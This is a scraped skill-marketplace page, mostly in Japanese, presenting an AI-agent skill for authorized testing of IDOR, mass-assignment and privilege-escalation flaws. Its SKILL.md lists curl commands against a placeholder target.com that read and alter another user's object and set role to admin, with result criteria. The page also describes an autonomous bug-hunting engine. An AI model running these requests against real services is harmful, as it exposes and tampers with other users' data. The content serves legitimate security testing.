メニュー
Evaluates multi-tenant authorization barriers, Insecure Direct Object References (IDOR), parameter tampering, and privilege escalation logic.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/Zyrexnn/Cybermes --skill business-logic-and-idorコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Autonomous end-to-end security research and full-surface bug hunting engine. Executes non-stop reconnaissance, attack-surface discovery, parameter mining, multi-stage vulnerability verification, minimal-impact PoC generation, and structured reporting on authorized targets.
Generates standardized, professional Bug Bounty vulnerability reports in markdown format following HackerOne and Bugcrowd standards.
Workspace conventions for authorized security-engagement deliverables — canonical report location (/workspace/reports/<target>/), plain files not zip, follow-the-existing-format rule, report-aggregator overwrite trap, bypass-before-clear validation gate for negative claims, and Cloudflare UA pitfalls in PoC reproduction. Use at report-writing time or before declaring any control "secure".
SOC 職業分類に基づく
SKILL.md を表示中
| name | business-logic-and-idor |
| description | Evaluates multi-tenant authorization barriers, Insecure Direct Object References (IDOR), parameter tampering, and privilege escalation logic. |
Systematically discover flaws in multi-tenant authorization logic, IDOR/BOLA, mass-assignment vulnerabilities, and price/status tampering that automated scanners cannot detect.
/workspace/output/parameters/<target>/idor.txtDefine environment variables for multi-account testing:
USER_A_AUTH="Bearer <token_user_a>"
USER_B_AUTH="Bearer <token_user_b>"
VICTIM_OBJECT_ID="10842"
Test whether User A can read, update, or delete User B's resources:
# Test 1: Cross-User Resource Read (GET)
curl -s -w "\nHTTP_STATUS:%{http_code}\n" \
-H "Authorization: ${USER_A_AUTH}" \
"https://target.com/api/v1/documents/${VICTIM_OBJECT_ID}" \
-o /workspace/output/idor_read_response.json
# Test 2: Cross-User Resource Modification (PUT/PATCH)
curl -s -w "\nHTTP_STATUS:%{http_code}\n" \
-X PATCH \
-H "Authorization: ${USER_A_AUTH}" \
-H "Content-Type: application/json" \
-d '{"title": "Compromised Title"}' \
"https://target.com/api/v1/documents/${VICTIM_OBJECT_ID}" \
-o /workspace/output/idor_patch_response.json
Attempt to update user profile with elevated attributes:
curl -s -w "\nHTTP_STATUS:%{http_code}\n" \
-X PUT \
-H "Authorization: ${USER_A_AUTH}" \
-H "Content-Type: application/json" \
-d '{"name": "Alice", "role": "admin", "is_admin": true, "verified": true, "organization_id": 1}' \
"https://target.com/api/v1/profile" \
-o /workspace/output/mass_assignment_response.json
If standard REST routes are blocked:
# Test URL parameter override
curl -s -H "Authorization: ${USER_A_AUTH}" "https://target.com/api/v1/documents?id=${VICTIM_OBJECT_ID}"
# Test array parameter pollution
curl -s -H "Authorization: ${USER_A_AUTH}" "https://target.com/api/v1/documents?id[]=${VICTIM_OBJECT_ID}"
# Test JSON parameter injection
curl -s -H "Authorization: ${USER_A_AUTH}" -X POST -H "Content-Type: application/json" -d "{\"id\": ${VICTIM_OBJECT_ID}}" "https://target.com/api/v1/documents"
200 OK and response body contains User B's private data when requested with User A's token -> CONFIRMED IDOR / BOLA.401 Unauthorized or 403 Forbidden -> Properly Enforced.404 Not Found with generic message -> Safe / Object Filtered./workspace/reports/idor_finding_<id>.md - Detailed evidence document including request/response pairs for User A and User B.